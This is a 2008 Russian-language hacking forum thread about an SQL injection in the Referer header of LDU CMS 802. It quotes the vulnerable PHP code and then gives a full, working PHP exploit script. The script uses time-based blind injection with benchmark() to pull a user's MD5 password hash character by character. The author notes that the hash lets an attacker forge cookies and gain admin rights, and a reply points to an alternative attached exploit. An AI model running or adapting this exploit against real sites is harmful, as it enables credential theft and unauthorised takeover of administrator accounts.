Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   sql-injection LDU version 802 (https://forum.antichat.xyz/showthread.php?t=67918)

(Dm) 21.04.2008 13:57

sql-injection LDU version 802
 
Копался в LDU, нашел sql injection в заголовке Referer.
файл: system/common.php
Код:

        $sys['referer'] = substr(getenv('HTTP_REFERER'),0,255);
       
        if (@!eregi($cfg['mainurl'], $sys['referer']) && @!eregi($cfg['hostip'],$sys['referer']) && @!eregi(str_replace('www.','',$cfg['mainurl']), $sys['referer']) && !empty($sys['referer']))
                {
               
                $sql = ldu_query("SELECT COUNT(*) FROM $db_referers WHERE ref_url = '".$sys['referer']."'");
                $count = ldu_result($sql,0,"COUNT(*)");
if ($count>0)
                        { $sql = ldu_query("UPDATE $db_referers SET ref_count=ref_count+1, ref_date='".$sys['now_offset']."' WHERE ref_url='".$sys['referer']."'"); }
              else
                        { $sql = ldu_query("INSERT INTO $db_referers (ref_url,ref_count,ref_date) VALUES ('".$sys['referer']."','1','".$sys['now_offset']."')"); }
                }
        }

Инъекция без вывода результата, поэтому пришлось использовать ф-ию benchmark;

Вот сплоит:
ps задержка между запросами 10 сек, для того чтобы не нагружать mysql . Проверял вроде работает, правда долго ждать... )))

Код:

#!/usr/bin/php
<?
error_reporting(E_ALL);

if ($argc < 3) {
        print ($argv[0]." <site> <path> [<id>] [<num>]\n");
       
        print ('
    _//           
    _//           
    _//_/// _// _//
 _// _// _//  _/  _//
_/  _// _//  _/  _//
_/  _// _//  _/  _//
 _// _//_///  _/  _//
');
       
        print ('
<site>  -  адрес сайта [ example.com ]
<path>  -  путь [ / ]
<id>    -  id пользователя [ 1 ]
<num>  -  с какой позиции начать [ 1 ]
Пример:
        ./getpass 127.0.0.1 /802/
');
exit;
}

// Настройки
define('debug', 0);
define('benchmark', 5555555);
define('start_chr', 48);
define('stop_chr', 90);
define('delay', 10); // задержка в секундах между запросами
define('timeout', 5); //На сколько секунд отличается обычный запрос от запроса с benchmark


$cfg['queryCount'] = 0;
$cfg['host'] = $argv[1];
$cfg['path'] = $argv[2];
$cfg['num']  = (int)@$argv[4];
$cfg['uid']  = (int)@$argv[3];

if ($cfg['num'] == 0)  $cfg['num'] = 1;
if ($cfg['uid'] == 0)  $cfg['uid'] = 1;

function get_microtime() {
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}

function get_data($query) {
        GLOBAL $cfg, $session_id;
       
        $buff = '';

        $get = "GET http://".$cfg['host'].$cfg['path']."index.php HTTP/1.0\r\n";
        $get.= "HOST: ".$cfg['host']."\r\n";
        $get.= "Referer: ".$query."\r\n";
        $get.= "Cookie: PHPSESSID=".$session_id."\r\n\r\n";

        if (debug == 1) print ("\n".$get);
        $fp = @fsockopen($cfg['host'], 80, $errno, $errstr, 20);
        if (!$fp) {
                die ("\nНе могу подключиться к серверу: ".$errstr."\n");
        } else {
                $cfg['queryCount'] += 1;
                fputs($fp, $get);
                while (!feof($fp)) {
                        $buff .= fgets($fp, 254);
                }
                fclose($fp);
        }
        unset($buff);
}

function check_request($id, $i, $z) {
        GLOBAL $TimeOut, $cfg;
       
        $query = "' union select 1 from ldu_users where user_id=".$cfg['uid']." and if(char(".$id.")".$z."substring(user_password,".$i.",1),benchmark(".benchmark.",md5('beer')),1) #";

        if (get_timeout($query) >= $TimeOut) {
                return true;
        }
        return false;
}

function get_char($id, $i, $start, $stop, $z) {

        sleep(delay);       

        if (check_request($id, $i, $z)) {
                if(($stop - $id) == 1) {
                        if (check_request($stop, $i,'=')) {
                                return $stop;
                        } else {
                                return $id;
                        }
                } else {
                        $curid = $id + (int)(($stop - $id) / 2);
                        return get_char($curid, $i, $id, $stop, '<');
                }
        } else {
                if (($id - $start) == 1) {
                        if (check_request($start, $i,'=')) {
                                return $start;
                        } else {
                                return $id;
                        }
                } else {
                        $curid = $id - (int)(($id - $start) / 2);
                        return get_char($curid, $i, $start, $id, '<');
                       
                }
        }
}

function get_timeout($query) {
        $start_time = get_microtime();
        get_data($query);
        $stop_time = get_microtime();
        return ($stop_time - $start_time);
}



print ("\n- - - - - - - - - - - - - - - - - - - - - - - \n");
print ("Путь: http://".$cfg['host'].$cfg['path']."index.php\n");
print ("Задержка между запросами: ".delay." сек\n");
print ("Коды получаемых символов: ".start_chr." - ".stop_chr."\n");
print ("Аргумент фии benchmark: ".benchmark."\n");
print ("- - - - - - - - - - - - - - - - - - - - - - - \n\n");

/* Устанавливаем сессию */
$session_id = md5(rand(1, 100).time());

/* Проверка на возможность использоваие benchmark */
print "Проверка на доступность benchmark и mysql >= 4.0\t";

$query = "http://google.com";
$QueryTimeOut = get_timeout($query);

sleep(delay);

$query = "' union select benchmark(".benchmark.",md5('beer')) #";
$BenchTimeOut = get_timeout($query);

$resTime = $BenchTimeOut - $QueryTimeOut;

if ($resTime < timeout)
        die("[ Bad ]\n");

print ("[ Ok ]\n");

$TimeOut = $QueryTimeOut + timeout - 1;
print ('Таймаут: '.$TimeOut." сек\n");

print ("[uid = ".$cfg['uid']."] md5 hash ~> ");
/* ----------------------------------- */

$curid = start_chr + (int)((stop_chr - start_chr) / 2);

for ($i = $cfg['num']; $i <= 32; $i++) {
        $r1 = get_char($curid, $i, start_chr, stop_chr, '<');
       
        if (!check_request($r1, $i, '='))
                die("\nОшибка получения символа на позиции ".$i."\n");

        print chr($r1);
}

print ("\nКоличество запросов: ".$cfg['queryCount']."\n");
?>

После получения хеша, формируем cookie и наслождаемся админскими правами, если конечно нет фильтрации по ip... Тхе тхе O_o

Elekt 22.04.2008 23:13

Вложений: 1
Elekt-> more1row отлично работает. смысла в бенчмарке нет
(Dm)-> а как же без бенчмарка...

вот так делается без бенчмарка.
(устаревший приват годовой давности, как пример тем кто хочет разобраться)

(Dm) 23.04.2008 00:10

Да спасиб разобрался, как-то я эт проглядел)))


Время: 02:00